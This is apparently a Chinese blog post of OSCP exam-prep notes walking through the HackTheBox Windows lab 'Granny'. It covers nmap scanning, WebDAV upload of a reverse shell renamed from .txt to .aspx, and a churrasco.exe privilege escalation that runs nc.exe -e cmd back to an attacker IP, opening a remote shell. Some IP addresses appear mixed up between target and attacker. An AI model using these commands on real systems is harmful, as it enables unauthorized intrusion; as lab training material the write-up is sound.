OSCP备考_0x41_HackThBox靶机_Windows_granny

Ethan医生4个月前靶场124

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.252.188 (扫描TCP)

image.png

发现有webdav可以利用

davtest -url http://10.10.16.43 ----可以查看到哪些后缀可以进行上传

cadaver http://10.10.16.43

put  reverse_shell.txt

move reverse_shell.txt reverse_shell.aspx

然后上传反弹SHELL挡案

image.png

然后提权systeminfo

C:\Inetpub\wwwroot\churrasco.exe  -d "C:\Inetpub\wwwroot\nc.exe -nv 10.10.16.43 4445 -e cmd"

image.png

image.png

标签: OSCP

相关文章

OSCP备考_0x16_HackThBox靶机_Linux_jarvis

OSCP备考_0x16_HackThBox靶机_Linux_jarvis

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.229.137 (扫描TCP)nmap -sU --top-ports 100 ...

 OSCP备考_0x11_Vulnhub靶机_IMF: 1

OSCP备考_0x11_Vulnhub靶机_IMF: 1

名称说明靶机下载链接https://www.vulnhub.com/entry/imf-1,162/攻击机(kali)ip:192.168.233.168靶机(CentOS)ip:192.168.23...

OSCP备考_0x34_HackThBox靶机_time

OSCP备考_0x34_HackThBox靶机_time

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.107.34 (扫描TCP)nmap -sU --top-ports 100 ...

OSCP备考_0x09_Vulnhub靶机_SickOs: 1.1

OSCP备考_0x09_Vulnhub靶机_SickOs: 1.1

名称说明靶机下载链接https://www.vulnhub.com/entry/sickos-11,132/攻击机(kali)ip:192.168.233.168靶机(CentOS)ip:192.16...

OSCP备考_0x13_HackThBox靶机_Linux_FriendZone

OSCP备考_0x13_HackThBox靶机_Linux_FriendZone

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.62.153 (扫描TCP)nmap -sU --top-ports 100 10.129.62....

OSCP备考_0x38_HackThBox靶机_Windows_Devel

OSCP备考_0x38_HackThBox靶机_Windows_Devel

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.254.198 (扫描TCP)使用ftp进行连接ftp 10.129.254.198 2...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。